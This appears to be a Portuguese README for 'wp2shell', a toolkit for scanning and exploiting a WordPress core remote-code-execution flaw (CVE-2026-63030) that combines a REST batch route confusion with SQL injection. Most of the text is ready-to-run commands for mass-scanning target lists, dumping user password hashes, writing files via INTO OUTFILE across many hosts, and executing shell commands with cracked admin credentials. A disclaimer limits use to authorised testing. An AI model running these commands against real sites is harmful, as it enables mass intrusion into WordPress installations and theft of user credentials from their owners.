🔍 wp2shell - Scanner e Exploit de Vulnerabilidade WordPress CVE-2026-63030

⚡ Scanner e Exploit de Vulnerabilidade em Tempo Real e Rápido para CVE-2026-63030 (wp2shell)

📌 Visão Geral

wp2shell é um kit de ferramentas abrangente para detectar e explorar CVE-2026-63030, uma vulnerabilidade crítica no WordPress que permite que atacantes não autenticados executem código remoto através de confusão de rota batch da API REST combinada com injeção de SQL.

🔍 O que é CVE-2026-63030?

CVE-2026-63030 (wp2shell) é uma vulnerabilidade crítica descoberta por Adam Kues (Assetnote / Searchlight Cyber) que afeta o núcleo do WordPress. Ela combina dois bugs:

1. GHSA-ff9f-jf42-662q - Confusão de Rota Batch REST
2. GHSA-fpp7-x2x2-2mjf - Injeção SQL author__not_in

📊 Versões Afetadas

📦 Clonar e Configurar

# Clone repository
git clone https://github.com/Lutfifakee-Project/wp2shell.git
cd wp2shell

# No dependencies required - uses Python standard library only!
# Python 3.7+ required

🛠️ Ferramentas Incluídas

1️⃣ wp2shell_scanner.py - Scanner Rápido

Scanner em tempo real multi-thread para detecção de vulnerabilidades em larga escala.

# Basic scan
python wp2shell_scanner.py -f list.txt -o results.txt

# Skip SQLi test (faster)
python wp2shell_scanner.py -f list.txt -o results.txt --no-sqli-test

# JSON output
python wp2shell_scanner.py -f list.txt -j

2️⃣ wp2shell_intooutfile.py - Exploit INTO OUTFILE

Demonstra a variante RCE INTO OUTFILE (requer privilégio FILE do MySQL).

# Single target
python3 wp2shell_intooutfile.py https://target.com

# Multiple targets
python3 wp2shell_intooutfile.py -f list.txt -t 10

3️⃣ wp2shell-exploit.py - Exploit de Arquivo Único

Versão portátil e de arquivo único do exploit com funcionalidade completa.

# Check vulnerability
python wp2shell-exploit.py check https://target.com

# Read users (extract password hashes)
python wp2shell-exploit.py read https://target.com --preset users

# Read fingerprint
python wp2shell-exploit.py read https://target.com --preset fingerprint

# Execute command (after cracking hash)
python wp2shell-exploit.py shell https://target.com --user admin --password "cracked" --cmd "id"

⚠️ Aviso Legal

IMPORTANTE: Esta ferramenta é apenas para fins educacionais e de teste autorizado.

• Use apenas em sistemas que você possui ou tenha permissão explícita por escrito para testar.
• O acesso não autorizado a sistemas de computador é ilegal.
• Os desenvolvedores não assumem nenhuma responsabilidade pelo uso indevido deste software. Use de forma responsável e ética.